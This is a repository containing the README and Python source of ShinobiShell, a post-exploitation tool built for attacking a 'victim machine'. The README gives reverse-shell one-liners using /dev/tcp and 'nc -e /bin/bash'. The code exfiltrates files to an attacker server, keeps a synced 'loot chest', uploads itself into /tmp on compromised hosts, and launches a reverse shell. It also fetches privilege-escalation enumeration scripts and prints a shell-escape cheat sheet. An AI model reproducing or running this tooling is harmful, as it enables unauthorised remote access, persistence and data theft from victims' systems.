├── README.md └── ShinobiShell.py /README.md: -------------------------------------------------------------------------------- 1 | # ShinobiShell 2 | An experimental shell that handles file exfiltration, exploit injection and various other obnoxious tasks. 3 | ``` 4 | usage: PROG [options] 5 | 6 | Shinobi shell is a shell specifically designed to make exfiltration, proxying, 7 | persistance and other pentesting actions easier. 8 | 9 | optional arguments: 10 | -h, --help show this help message and exit 11 | -a, --autoload Listens for a incoming shell. Then autoloads shinobi shell onto the target 12 | -t, --ttyCheat Shows tty shell cheat sheet (need a tty shell for shinobi shell to work) 13 | -c, --connect Flag that indicates a reverse shell connection (use this on victim machine) 14 | -l LISTEN, --listen LISTEN 15 | Starts Shinobi Shell listener on port passed in 16 | -k, --key Will create an encrpyted tunnel if encrpytion libs available 17 | -r SERVERADDRESS, --serveraddress SERVERADDRESS 18 | Local IP Address used for universal reverse shell 19 | handler (optional - use if different than default) 20 | ``` 21 | ## Start your server first: 22 | 23 | ### Server (Attacking box) 24 | `./shinobishell.py -l 4443 -k` 25 | 26 | `-l` Port server will listen on 27 | 28 | `-k` Requesting an encrypted tunnel server (optional but if used, required by all connections) 29 | 30 | 31 | ## OPTION 1: Run Shinobi Shell manually on the victim machine 32 | 33 | Client (Penetrated box) 34 | `./shinobishell.py -c -k ` 35 | 36 | `-c` Connect back to a server 37 | 38 | `-k` Try and make an encrytped tunnel 39 | 40 | For both server and client, you'll be prompted for a password when using `-k` 41 | 42 | For `-c` you will be prompted at run time for the server address 43 | 44 | Both `-c` and `-k` were moved to runtime inputs to prevent leaking attacking machine address and key in bash history 45 | 46 | ## OPTION 2: Start a Shinobi Shell listener on your attacking machine and send it a shell 47 | 48 | ### Attacking Machine 49 | 50 | `./shinobishell.py -a` 51 | > Shinobi Tunnel Plaintext ~~ Be aware 52 | 53 | > Which port to listen on: 1000 54 | 55 | > What is the ShinobiServer address:port combination: 127.0.0.1:443 56 | 57 | 58 | ### Victim Machine 59 | 60 | Send a reverse shell 61 | 62 | (tested and known to work) 63 | 64 | `/bin/bash -i >& /dev/tcp/127.0.0.1/1000 0>&1` 65 | 66 | `nc 127.0.0.1 1000 -e /bin/bash` 67 | 68 | `nc 127.0.0.1 1000 -e /bin/sh` 69 | 70 | 71 | ## -h --help Help output 72 | 73 | ``` 74 | Shinobi Shell v1.0 75 | Author: Anthony Russell 76 | Contact: Twitter @DotNetRussell 77 | Blog: https://DotNetRussell.com (don't hack me bro) 78 | 79 | Commands: 80 | 81 | help - displays help information 82 | machineinfo - displays a series of machine variables to help with priv esc 83 | searchsploit - sends a searchsploit command back to your attacking machine and returns the results through shinobi tunnel 84 | exfil - exfiltrates a file back to your attacking machine via shinobi tunnel 85 | ssdownload - downloads a search sploit exploit from your attacking machine 86 | download - does a wget for your file on your attacking machine and then transfers it to you over shinobi tunnel 87 | linenumdownlods - linenum.sh to the Shinobi Server and then transfers it back to the client 88 | suid3num - downloads suid3num.py to the Shinobi server and then transfers it back to the client 89 | 90 | Loot Chest: 91 | 92 | loot store - stores a key value pair in your loot chest 93 | loot - gets a loot value 94 | loot show - shows everything in loot chest 95 | 96 | NOTE: Loot chest auto syncs with attacking machine 97 | 98 | Auto Aliases 99 | lsa == ls -la 100 | ``` 101 | -------------------------------------------------------------------------------- /ShinobiShell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import cmd 5 | import sys 6 | import time 7 | import socket 8 | 9 | try: 10 | import thread 11 | except ImportError: 12 | import _thread 13 | 14 | import select 15 | import base64 16 | import signal 17 | import argparse 18 | import datetime 19 | 20 | try: 21 | from shlex import quote 22 | except ImportError: 23 | from pipes import quote 24 | 25 | encryptionAvailable = False 26 | try: 27 | from Crypto.Cipher import AES 28 | encryptionAvailable = True 29 | except ImportError: 30 | encryptionAvailable = False 31 | print("WARNING -> Crypto.Cipher Library not available on this machine.... Your shell will work but there's no encryption...") 32 | 33 | 34 | parser = argparse.ArgumentParser(description='Shinobi shell is a shell specifically designed to make exfiltration, proxying, persistance and other pentesting actions easier.', prog='PROG', usage='%(prog)s [options]') 35 | 36 | parser.add_argument('-t', '--ttyCheat', help='Shows tty shell cheat sheet', action="store_true") 37 | parser.add_argument('-a', '--autoload', help='Listens for a incoming shell. Then autoloads shinobi shell onto the target', action="store_true") 38 | parser.add_argument('-c', '--connect', help='Flag that indicates a reverse shell connection', action="store_true") 39 | parser.add_argument('-l', '--listen', help='Starts Shinobi Shell listener on port passed in') 40 | parser.add_argument('-k', '--key', help='Secret shared key used to create an encrypted tunnel between Shinobi Server and Clients', action="store_true") 41 | parser.add_argument('-r', '--serveraddress', help='Local IP Address used for universal reverse shell handler') 42 | parser.add_argument('-x', '--dontuse', help='This flag is used by the auto shell injection. Don\'t use it, nothing happens') 43 | 44 | #The Shinobi Shell command prompt 45 | CMDPROMPT="|Shinobi[sh]ell|->:~$" 46 | 47 | #This constant identifies the start of a shinobi message 48 | STARTCONST="&&&shinobishell_start&&&" 49 | 50 | #This constant is to identify message parts 51 | BREAKCONST="&&&shinobishell_break&&&" 52 | 53 | #This constant is used to determine when the end of a transmission has been reached because python sockets.recv is to stupid to figure it out 54 | ENDCONST="&&&shinobishell_end&&&" 55 | 56 | #not implemented yet because apparently you need non-standard libs to capture keyboard events 57 | commandHistory = [] 58 | 59 | #Ip address used for incoming reverse shell handler 60 | serverAddress = "" 61 | 62 | ####SETUP TUNNEL ENCRYPTION#### 63 | args = vars(parser.parse_args()) 64 | 65 | #loot in key value pairs 66 | lootChest = dict() 67 | lootVersion = 0 68 | 69 | #Creates a line break 70 | def lb(): 71 | print("") 72 | 73 | #Runs a shell command 74 | def runCommand(command): 75 | print(os.popen(command).read().strip()) 76 | 77 | try: 78 | 79 | if(args["key"]): 80 | print('Please enter your secret Key') 81 | print("Your secret key must be 16, 24 or 32 chars long") 82 | key = raw_input('key: ') 83 | secret_key = args["key"].strip() 84 | secretLength = len(secret_key) 85 | 86 | is16 = secretLength != 16 87 | is24 = secretLength != 24 88 | is32 = secretLength != 32 89 | 90 | if(is16 and is24 and is32): 91 | print("Your secret key must be 16, 24 or 32 chars long") 92 | os._exit(0) 93 | 94 | cipher = AES.new(secret_key) 95 | 96 | PADDING = '{' 97 | BLOCK_SIZE = 32 98 | pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING 99 | print('Shinobi Tunnel Encrypted') 100 | except: 101 | print('Shinobi Tunnel Plaintext ~~ Be aware') 102 | pass 103 | 104 | try: 105 | EncodeAES = lambda s: base64.b64encode(cipher.encrypt(pad(s))) 106 | DecodeAES = lambda e: cipher.decrypt(base64.b64decode(e)).rstrip(PADDING) 107 | except: 108 | pass 109 | else: 110 | EncodeAES = lambda s: s 111 | DecodeAES = lambda e: e 112 | 113 | ############################# 114 | 115 | #Sends a command with our custom padding because sockets are to fucking dumb to know when messages begin and end 116 | def sendCommand(connection,command): 117 | payload = "" 118 | 119 | if(encryptionAvailable): 120 | payload = EncodeAES(STARTCONST + command + ENDCONST) 121 | else: 122 | payload = STARTCONST + command + ENDCONST 123 | 124 | if(len(payload) > 1024): 125 | totalChunks = len(payload)/1024 126 | print("TOTAL CHUNKS: " + str(totalChunks)) 127 | chunkCount = 0 128 | while(len(payload)>0): 129 | if(len(payload) > 1024): 130 | time.sleep(.1) 131 | chunkCount = chunkCount + 1 132 | chunk = payload[:1024] 133 | connection.send(chunk) 134 | payload = payload[1024:] 135 | else: 136 | connection.send(payload) 137 | break 138 | else: 139 | if(encryptionAvailable): 140 | connection.send(EncodeAES(STARTCONST + command + ENDCONST)) 141 | else: 142 | connection.send(payload) 143 | 144 | #Waits for an incoming transmission 145 | def getResult(connection): 146 | connection.setblocking(0) 147 | inputs = [connection] 148 | outputs = [] 149 | result = "" 150 | 151 | while inputs: 152 | readable, writable, exceptional = select.select(inputs, outputs, inputs) 153 | for s in readable: 154 | 155 | data = connection.recv(1024) 156 | if("echo $0" in data): 157 | print("Identifying shell to server") 158 | connection.send('shinobishell') 159 | continue 160 | 161 | if(encryptionAvailable): 162 | data = DecodeAES(data) 163 | 164 | if data: 165 | result += data 166 | if(ENDCONST in data): 167 | break 168 | else: 169 | break 170 | 171 | if(ENDCONST in result): 172 | break 173 | 174 | result = result.replace(STARTCONST, "") 175 | result = result.replace(ENDCONST, "") 176 | inputs.remove(connection) 177 | return result 178 | 179 | #Displays help info such as commands author info and preconfigured aliases 180 | def displayHelpInfo(): 181 | lb() 182 | print("Shinobi Shell v1.0") 183 | print("Author: Anthony Russell") 184 | print("Contact: Twitter @DotNetRussell") 185 | print("Blog: https://DotNetRussell.com (don't hack me bro)") 186 | lb() 187 | print("Commands:") 188 | lb() 189 | print("help \t\t\t\t\tdisplays help information") 190 | print("machineinfo \t\t\t\tdisplays a series of machine variables to help with priv esc") 191 | print("searchsploit \t\tsends a searchsploit command back to your attacking machine and returns the results through shinobi tunnel") 192 | print("exfil \t\t\texfiltrates a file back to your attacking machine via shinobi tunnel") 193 | print("ssdownload \t\tdownloads a search sploit exploit from your attacking machine") 194 | print("download \t\t\t\tdoes a wget for your file on your attacking machine and then transfers it to you over shinobi tunnel") 195 | print("linenum\t\t\t\t\tdownlods linenum.sh to the Shinobi Server and then transfers it back to the client") 196 | print("suid3num\t\t\t\tdownloads suid3num.py to the Shinobi server and then transfers it back to the client") 197 | lb() 198 | print("Loot Chest:") 199 | lb() 200 | print("loot store \t\t stores a key value pair in your loot chest") 201 | print("loot \t\t\t\t gets a loot value") 202 | print("loot show \t\t\t\t shows everything in loot chest") 203 | print("NOTE: Loot chest auto syncs with attacking machine") 204 | lb() 205 | print("Auto Aliases") 206 | lb() 207 | print("lsa == ls -la") 208 | lb() 209 | 210 | #Attempts to exfiltrate the file passed in back to the Shinobi Server 211 | def exfiltrateFile(connection,command): 212 | print("Attempting to exfiltrate file back to Shinobi Server. Standby for results...") 213 | targetFile = command[5:].strip() 214 | pathParts = targetFile.split("/") 215 | totalParts = len(pathParts) 216 | filename = pathParts[totalParts-1] 217 | fileBytes = open(targetFile).read() 218 | 219 | print("Prompting server for exfil") 220 | sendCommand(connection,"exfil") 221 | print("Waiting for server to be ready for file") 222 | isReady = getResult(connection) 223 | print("Response recieved") 224 | if("ready" in isReady): 225 | print("Server Ready! Sending file ...") 226 | sendCommand(connection,command + BREAKCONST + filename + BREAKCONST + str(len(fileBytes)) + BREAKCONST + fileBytes) 227 | print("Exfiltration completed!") 228 | lb() 229 | 230 | #Attempts to download the file requested on the Shinobi Server and then returns it to the requesting machine 231 | def downloadFile(connection,command): 232 | 233 | print("Requesting file from Shinobi Server. Standby for results...") 234 | try: 235 | sendCommand(connection,command) 236 | except: 237 | print("There was an exception while requesting your file") 238 | 239 | result = getResult(connection) 240 | print("File Transfer Completed!") 241 | filename = raw_input("Name for your file: ") 242 | print("Creating file localy") 243 | file = open(filename,'wb') 244 | print("Writing File") 245 | file.write(result) 246 | print("File write completed") 247 | lb() 248 | 249 | #Attempts to download the file requested on the Shinobi Server and then returns it to the requesting machine 250 | def linenumDownload(connection,command): 251 | 252 | print("Requesting file from Shinobi Server. Standby for results...") 253 | try: 254 | sendCommand(connection,command) 255 | except: 256 | print("There was an exception while requesting your file") 257 | 258 | result = getResult(connection) 259 | print("File Transfer Completed!") 260 | filename = "linenum.sh" 261 | print("Creating file locally") 262 | file = open(filename,'wb') 263 | print("Writing File") 264 | file.write(result) 265 | print("File write completed") 266 | lb() 267 | 268 | def suid3numDownload(connection,command): 269 | print("Requesting file from Shinobi Server. Standby for results...") 270 | try: 271 | sendCommand(connection,command) 272 | except: 273 | print("There was an exception while requesting your file") 274 | 275 | result = getResult(connection) 276 | print("File Transfer Completed!") 277 | filename = "suid3num.py" 278 | print("Creating file locally") 279 | file = open(filename,'wb') 280 | print("Writing File") 281 | file.write(result) 282 | print("File write completed") 283 | lb() 284 | 285 | #Attempts to download the requested searchsploit file from the Shinobi server 286 | def downloadSearchSploitFile(connection,command): 287 | pathParts = command.split("/") 288 | totalParts = len(pathParts) 289 | filename = pathParts[totalParts-1] 290 | 291 | print("Requesting file " + filename +" from Shinobi Server. Standby for results...") 292 | try: 293 | sendCommand(connection,command) 294 | except: 295 | print("There was an exception while requesting your file") 296 | 297 | result = getResult(connection) 298 | print("File Transfer Completed!") 299 | print("Creating file localy") 300 | file = open(filename,'wb') 301 | print("Writing File") 302 | file.write(result) 303 | print("File write completed") 304 | lb() 305 | 306 | #Displays info about the machine that could prove useful 307 | def displayMachineInfo(): 308 | 309 | lb() 310 | print("---Machine Info---") 311 | lb() 312 | print("id:") 313 | runCommand("id") 314 | lb() 315 | print("Currently Logged In:") 316 | runCommand("who") 317 | lb() 318 | print("OS Info:") 319 | runCommand("cat /proc/version") 320 | lb() 321 | print("Listening Ports:") 322 | runCommand('netstat -ano | grep -E "LISTEN|127.0.0.1|0.0.0.0" | grep -v "LISTENING"') 323 | lb() 324 | print("Current root processes:") 325 | runCommand("ps aux | grep root") 326 | lb() 327 | print("SUID") 328 | runCommand("find / -perm -u=s 2>/dev/null") 329 | lb() 330 | print("/home directory") 331 | runCommand("ls -la /home") 332 | lb() 333 | 334 | #Attempts to run a searchsploit command on the Shinobi Server with the passed in search criteria, then displays it to the user 335 | def searchsploitCommand(connection,command): 336 | print("Sending command to Shinobi Server. Standby for results...") 337 | try: 338 | sendCommand(connection,command) 339 | except: 340 | print("There was an exception while sending your command") 341 | 342 | result = getResult(connection) 343 | print(result) 344 | 345 | #Pulls the servers version of the loot chest 346 | def getLootVersion(connection): 347 | sendCommand(connection,"currentLootVersion") 348 | return int(getResult(connection)) 349 | 350 | #Syncs the server loot with local loot chest 351 | def syncLoot(connection): 352 | global lootVersion 353 | serverVersion = getLootVersion(connection) 354 | if(serverVersion == 0 and lootVersion == 0): 355 | return 356 | 357 | if(serverVersion < lootVersion): 358 | sendCommand(connection, "syncLoot"+BREAKCONST+str(lootVersion)+BREAKCONST+str(lootChest)) 359 | serverVersion = getLootVersion(connection) 360 | if(serverVersion != lootVersion): 361 | print("Loot sync: Failed to update server loot chest") 362 | print("Local Version: " + str(lootVersion)) 363 | print("Server Version: " + str(serverVersion)) 364 | else: 365 | sendCommand(connection, "getLoot") 366 | lootChestUpdated = eval(getResult(connection)) 367 | 368 | for k,v in lootChestUpdated.iteritems(): 369 | if(k in lootChest): 370 | if( lootChest[k] == v): 371 | continue 372 | else: 373 | print("Loot key conflict!") 374 | print("During a loot chest sync with the server, a duplicate key was found in your chest with a value that doesn match") 375 | print("Server Loot Chest Entry") 376 | print("Key: " + k) 377 | print("Value: " + v) 378 | lb() 379 | print("Local Loot Chest Entry") 380 | print("Key: " + k) 381 | print("Value: " + lootChest[k]) 382 | lb() 383 | print("How would you like to handle this?") 384 | print("Overwrite local value - OL") 385 | print("Change local loot name - CN") 386 | choice = raw_input("Choice: ") 387 | if("cn" in choice.lower()): 388 | key = k 389 | value = lootChest[k] 390 | lootChest[k] = v 391 | 392 | while True: 393 | newKey = raw_input("Please choose a new key: ") 394 | if(newKey in lootChest or newKey in lootChestUpdated): 395 | print("Key already exists in either server or local lootchest") 396 | else: 397 | lootChest[newKey] = value 398 | break 399 | elif("ol" in choice.lower()): 400 | lootChest[k] = v 401 | else: 402 | lootChest[k] = v 403 | 404 | lootVersion = serverVersion 405 | 406 | #Syncs loot with the Shinobi server, stores loot locally, increments loot version and syncs loot with Shinobi server 407 | def storeLoot(connection,command): 408 | 409 | syncLoot(connection) 410 | 411 | global lootVersion 412 | key = raw_input("Loot Key: ") 413 | 414 | overwrite = 'y' 415 | if(key in lootChest): 416 | overwrite = raw_input("Loot key already exists. Overwrite? ") 417 | 418 | if("yes" in overwrite.lower() or "y" in overwrite.lower()): 419 | value = raw_input("Loot Value: ") 420 | lootChest[key] = value 421 | lootVersion = lootVersion + 1 422 | else: 423 | print("Aborting") 424 | else: 425 | value = raw_input("Loot Value: ") 426 | lootChest[key] = value 427 | lootVersion = lootVersion + 1 428 | 429 | syncLoot(connection) 430 | 431 | #Syncs loot from Shinobi server and then displays it 432 | def displayLoot(connection): 433 | 434 | syncLoot(connection) 435 | 436 | print("LOOT CHEST:") 437 | lb() 438 | for k,v in lootChest.iteritems(): 439 | print(" | " + k + " | " + v + " | ") 440 | lb() 441 | 442 | #Syncs loot with Shinobi server then attempts to retrieve a value with the key passed in 443 | def getLoot(connection, command): 444 | 445 | syncLoot(connection) 446 | 447 | lootKey = command[4:].strip() 448 | 449 | if(len(lootKey)==0): 450 | print("Please enter a loot key") 451 | print("Example:") 452 | print("loot myKey") 453 | else: 454 | if(lootKey in lootChest): 455 | print(lootKey) 456 | print(lootChest[lootKey]) 457 | else: 458 | print("Loot not found!") 459 | 460 | def displayPtyCheetSheet(): 461 | print('TTY Cheet Sheet') 462 | print('') 463 | print('Python:\t\t\tpython -c \'import pty; pty.spawn("/bin/sh")\'') 464 | print('Bash:\t\t\techo os.system(\'/bin/bash\')') 465 | print('Sh:\t\t\t/bin/sh -i') 466 | print('Perl:\t\t\tperl -e \'exec "/bin/sh":\'') 467 | print('Perl:\t\t\texec "/bin/sh";') 468 | print('Ruby:\t\t\texec "/bin/sh"') 469 | print('Lua:\t\t\tos.execute(\'/bin/sh\')') 470 | print('Inside Vi:\t\t!bash') 471 | print('Inside Vi:\t\t:set shell=/bin/bash:shell') 472 | print('Inside Nmap:\t\t!sh') 473 | 474 | #Handles user input 475 | def handleCommand(connection,command): 476 | if(len(command) == 0): 477 | return 478 | 479 | if("searchsploit" in command[:12]): 480 | searchsploitCommand(connection,command) 481 | elif("machineinfo" in command[:11]): 482 | displayMachineInfo() 483 | elif("help" == command.strip().lower()): 484 | displayHelpInfo() 485 | elif("ssdownload" in command[:10]): 486 | downloadSearchSploitFile(connection,command) 487 | elif("lsa" in command[:3]): 488 | directory = command[3:] 489 | runCommand("ls -la " + directory) 490 | elif("download" in command[:8]): 491 | downloadFile(connection,command) 492 | elif("linenum" in command[:7]): 493 | linenumDownload(connection,command) 494 | elif("suid3num" in command[:8]): 495 | suid3numDownload(connection,command) 496 | elif("exfil" in command[:5]): 497 | exfiltrateFile(connection,command) 498 | elif("loot store" in command[:10]): 499 | storeLoot(connection,command) 500 | elif("loot show" in command[:9]): 501 | displayLoot(connection) 502 | elif("loot" in command[:4]): 503 | getLoot(connection,command) 504 | elif("cd" in command[:2]): 505 | try: 506 | os.chdir(command[2:].strip()) 507 | except: 508 | print('Permission Denied') 509 | elif("exit" in command[:4]): 510 | sys.exit() 511 | return 512 | elif("echo $0" in command[:7]): 513 | print("shinobishell") 514 | else: 515 | runCommand(command) 516 | 517 | #This is the Shinobi Client Shell 518 | class ShinobiShellPrompt(cmd.Cmd): 519 | connectiion = "" 520 | prompt = CMDPROMPT 521 | commands = ["machineinfo","help","searchsploit","ssdownload","download","exfil"] 522 | 523 | def default(self, line): 524 | handleCommand(self.connection, line) 525 | 526 | def precmd(self, line): 527 | currentTime = str(datetime.datetime.now()).strip() 528 | hostname = socket.gethostname().strip() 529 | currentUser = os.popen("id -un").read().strip() 530 | ipAddresses = os.popen("hostname -I").read().strip() 531 | metaLine = "###" + currentTime + " | " + hostname + "/" + currentUser + " | " + ipAddresses + " " + "###" 532 | print(metaLine) 533 | return line 534 | 535 | def postcmd(self, line, arg): 536 | currentDir = '[' + os.popen('pwd').read().strip() + ']'; 537 | print(currentDir) 538 | return line 539 | 540 | def emptyline(self): 541 | pass 542 | 543 | def do_help(self,arg): 544 | handleCommand(self.connection, "help") 545 | pass 546 | 547 | def setConnection(self, connection): 548 | self.connection = connection 549 | 550 | #starts a new shinobi shell 551 | def startShell(connection): 552 | try: 553 | shell = ShinobiShellPrompt() 554 | shell.setConnection(connection) 555 | shell.cmdloop() 556 | except KeyboardInterrupt: 557 | lb() 558 | print("Type exit to close the shell") 559 | startShell(connection) 560 | 561 | #Attempts to connect to a shinobi shell listener at the address and port passed in 562 | #address = targetIp:targetPort 563 | def connectToShinobiShellServer(address): 564 | addressArray = address.split(':') 565 | address = addressArray[0] 566 | port = int(addressArray[1]) 567 | 568 | print('Connecting to Shinobi Shell at ' + address + ' on port ' + str(port)) 569 | 570 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 571 | server_address = (address, port) 572 | sock.connect(server_address) 573 | 574 | data = getResult(sock) 575 | 576 | if("shinobi_connected" in data): 577 | sys.stdout.write('Connection Successful') 578 | print("Connection Successful") 579 | startShell(sock) 580 | else: 581 | print("Connection Failed") 582 | 583 | #handles incoming connections 584 | def listenerHandler(buf,conn,address): 585 | global lootChest 586 | global lootVersion 587 | 588 | if(len(buf)==0): 589 | return 590 | 591 | print(address + " command received: " + buf) 592 | 593 | if("searchsploit" in buf): 594 | print("executing searchsploit command") 595 | result = os.popen(buf).read() 596 | sendCommand(conn,result) 597 | elif("ssdownload" in buf): 598 | print("executing searchsploit download command") 599 | args = buf.split(" ") 600 | searchsploitRoot = "/usr/share/exploitdb/exploits/" 601 | file = open(searchsploitRoot + args[1],'r').read() 602 | sendCommand(conn,file) 603 | elif("download" in buf): 604 | print("executing file download command") 605 | url = buf[9:].strip().replace(" ","%20") 606 | try: 607 | file = os.popen("wget -O- " + url).read() 608 | sendCommand(conn,file) 609 | except: 610 | print("There was an error while downloading and sending your file back to the client") 611 | elif("exfil" in buf): 612 | print("executing exfil command") 613 | print("Sending ready command") 614 | sendCommand(conn,"ready") 615 | exfildata = getResult(conn) 616 | payloadParts = exfildata.split(BREAKCONST) 617 | payloadNameParts = payloadParts[1].split("/") 618 | payloadName = payloadNameParts[len(payloadNameParts)-1] 619 | payloadSize = payloadParts[2] 620 | payload = payloadParts[3] 621 | print("FILE NAME: " + payloadName) 622 | print("FILE SIZE: " + str(payloadSize)) 623 | file = open("./" + payloadName, 'wb') 624 | file.write(payload) 625 | file.close() 626 | print("File Saved") 627 | elif("currentLootVersion" in buf): 628 | sendCommand(conn,str(lootVersion)) 629 | elif("getLoot" in buf): 630 | sendCommand(conn,str(lootChest)) 631 | elif("linenum" in buf): 632 | print("executing linenum download and return commnd") 633 | url = "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh" 634 | try: 635 | file = os.popen("wget -O- " + url).read() 636 | sendCommand(conn,file) 637 | except: 638 | print("There was an error while downloading and sending your file back to the client") 639 | 640 | elif("suid3num" in buf): 641 | print("executing suid3num download and return commend") 642 | url = "https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py" 643 | try: 644 | file = os.popen("wget -O- " + url).read() 645 | sendCommand(conn,file) 646 | except: 647 | print("There was en error while downloading and sending your file back to the client") 648 | 649 | elif("syncLoot" in buf): 650 | print("Syncing Loot") 651 | 652 | lootPayload = buf.split(BREAKCONST) 653 | version = lootPayload[1] 654 | 655 | print("Current Loot Version: " + str(lootVersion)) 656 | print("Incoming Loot Version: " + version) 657 | 658 | incomingLoot = lootPayload[2] 659 | if(version < lootVersion or (len(incomingLoot) == len(lootChest))): 660 | print("Rejecting loot sync because it's version is lower than current") 661 | else: 662 | for k,v in lootChest.iteritems(): 663 | if(k not in incomingLoot): 664 | print("Rejecting loot sync because it has unsynced loot") 665 | return 666 | 667 | lootChest = eval(incomingLoot) 668 | lootVersion = version 669 | print("Loot Updated") 670 | print("Loot Version: " + str(lootVersion)) 671 | 672 | file = open('shinobi_loot','wb') 673 | file.write(str(lootVersion)+BREAKCONST+str(lootChest)) 674 | file.close() 675 | 676 | #This loops endlessly for each connection thread. It receives commands and sends them off to the handler 677 | def listenerThread(connection, address): 678 | print("Connection Opened") 679 | connection.send("echo $0\x0a") 680 | shelltype=connection.recv(1024) 681 | if("shinobishell" in shelltype): 682 | sendCommand(connection,"shinobi_connected") 683 | while True: 684 | inputs = [connection] 685 | outputs = [] 686 | result = "" 687 | 688 | while inputs: 689 | readable, writable, exceptional = select.select(inputs, outputs, inputs) 690 | 691 | for s in readable: 692 | data = connection.recv(1024) 693 | if data: 694 | try: 695 | result += DecodeAES(data) 696 | except: 697 | result += data 698 | 699 | if(ENDCONST in data): 700 | break 701 | else: 702 | break 703 | 704 | result = result.replace(STARTCONST,"") 705 | result = result.replace(ENDCONST,"") 706 | listenerHandler(result,connection,address) 707 | result = "" 708 | else: 709 | print('Recieved a ' + shelltype.strip() + ' shell') 710 | print('Loading a shinobishell onto victim machine...') 711 | 712 | print('Attempting to navigate to writable directory...') 713 | connection.send('cd /tmp\x0a') 714 | 715 | print('Checking directory') 716 | connection.send('pwd\x0a') 717 | directory = connection.recv(1024) 718 | print(directory) 719 | if("/tmp" in directory): 720 | 721 | print("Checking for python") 722 | connection.send('which python\x0a') 723 | pythonPath = connection.recv(1024) 724 | 725 | if('python' in pythonPath): 726 | print("Directory Changed") 727 | print("Writing shinobishell.py...") 728 | 729 | scriptCode = open(os.path.realpath(__file__)).readlines() 730 | 731 | for line in scriptCode: 732 | payload = quote(line.replace('\n', ' ').replace('\r', '')) 733 | connection.send("echo " + payload + " >> shinobishell.py \x0a") 734 | 735 | print("Shell transfered!") 736 | print("Which address would you like the shell to be sent to? :") 737 | addressPort = raw_input("~>").strip().split(":") 738 | port = args["listen"] 739 | 740 | print("Spawning remote Shinobi Shell ... ") 741 | connection.send(pythonPath.strip() + ' -u /tmp/shinobishell.py -k 1234567890123456 -a ' + serverAddress.strip() + ":" + port + ' >& /dev/tcp/' + addressPort[0] + '/' + addressPort[1] + ' 0>&1 \x0a ') 742 | 743 | else: 744 | print('Python not installed') 745 | 746 | else: 747 | print('No writeable directory found, sorry :-(') 748 | 749 | #Attempts to start a Shinobi Shell listener on the port passed in 750 | def setupShinobiShellListener(port): 751 | print('Listening for Shinobi Shell connections on port ' + port) 752 | print('Send me Ninja Connections!') 753 | 754 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 755 | serversocket.bind(('0.0.0.0', int(port))) 756 | serversocket.listen(100) 757 | 758 | while True: 759 | connection, address = serversocket.accept() 760 | thread.start_new_thread(listenerThread,(connection,address[0],)) 761 | 762 | if(args["serveraddress"]): 763 | serverAddress = args["serveraddress"] 764 | 765 | if(args["dontuse"]): 766 | serverAddress = args["dontuse"] 767 | connectToShinobiShellServer(serverAddress) 768 | 769 | if(args["connect"]): 770 | serveraddr = raw_input('Enter Server Address and port ~> example: 127.0.0.1:8080 : ') 771 | connectToShinobiShellServer(serveraddr) 772 | 773 | if(args["listen"]): 774 | print("Looking for stored loot file in working directory..") 775 | if(os.path.isfile("shinobi_loot")): 776 | print("Loot file found, restoring loot cache") 777 | file = open("shinobi_loot").read() 778 | lootParts = file.split(BREAKCONST) 779 | lootVersion = lootParts[0] 780 | lootChest = eval(lootParts[1]) 781 | print("Loot Chest Restored!") 782 | else: 783 | print("No loot chest cache found. Creating new chest") 784 | 785 | setupShinobiShellListener(args["listen"]) 786 | 787 | if(args["ttyCheat"]): 788 | displayPtyCheetSheet() 789 | 790 | if(args["autoload"]): 791 | port = raw_input("Which port to listen on: ") 792 | serveraddress = raw_input("What is the ShinobiServer address:port combination: ") 793 | 794 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 795 | serversocket.bind(('0.0.0.0', int(port))) 796 | serversocket.listen(1) 797 | connection, address = serversocket.accept() 798 | connection.send('whoami \x0a') 799 | response = connection.recv(1024) 800 | print("Current User: " + response) 801 | if(len(response) > 0): 802 | print("Opening source file: " + sys.argv[0]) 803 | shinobiShellSource = open(sys.argv[0]).readlines() 804 | 805 | print("Source File Length: " + str(len(shinobiShellSource))) 806 | 807 | connection.send('cd /tmp; pwd; \x0a') 808 | print("Current DIR: " + connection.recv(1024)) 809 | 810 | print('Uploading shell') 811 | for line in shinobiShellSource: 812 | encodedLine = base64.b64encode(line) 813 | connection.send('echo ' + encodedLine + ' | base64 -d >> tempShinobiShell.py\x0a') 814 | 815 | print('Payload Sent...') 816 | 817 | connection.send('which python \x0a') 818 | pythonPath = connection.recv(1024).strip() 819 | 820 | print('Starting tty shell...') 821 | connection.send(pythonPath + ' -c "import pty; pty.spawn(\'/bin/sh\')"\x0a') 822 | response = connection.recv(1024).strip() 823 | print(response) 824 | 825 | print('Starting shell') 826 | connection.send(pythonPath + " tempShinobiShell.py -x " + serveraddress + " 0<&1 \x0a") 827 | 828 | 829 | print('Shell started!') 830 | 831 | 832 | while True: 833 | while True: 834 | response = connection.recv(1024).strip() 835 | if("|Shinobi[sh]ell|" in response): 836 | sys.stdout.write(response) 837 | break 838 | else: 839 | print(response) 840 | 841 | connection.send(raw_input() + " \x0a") 842 | 843 | 844 | print('Connection Closed') 845 | --------------------------------------------------------------------------------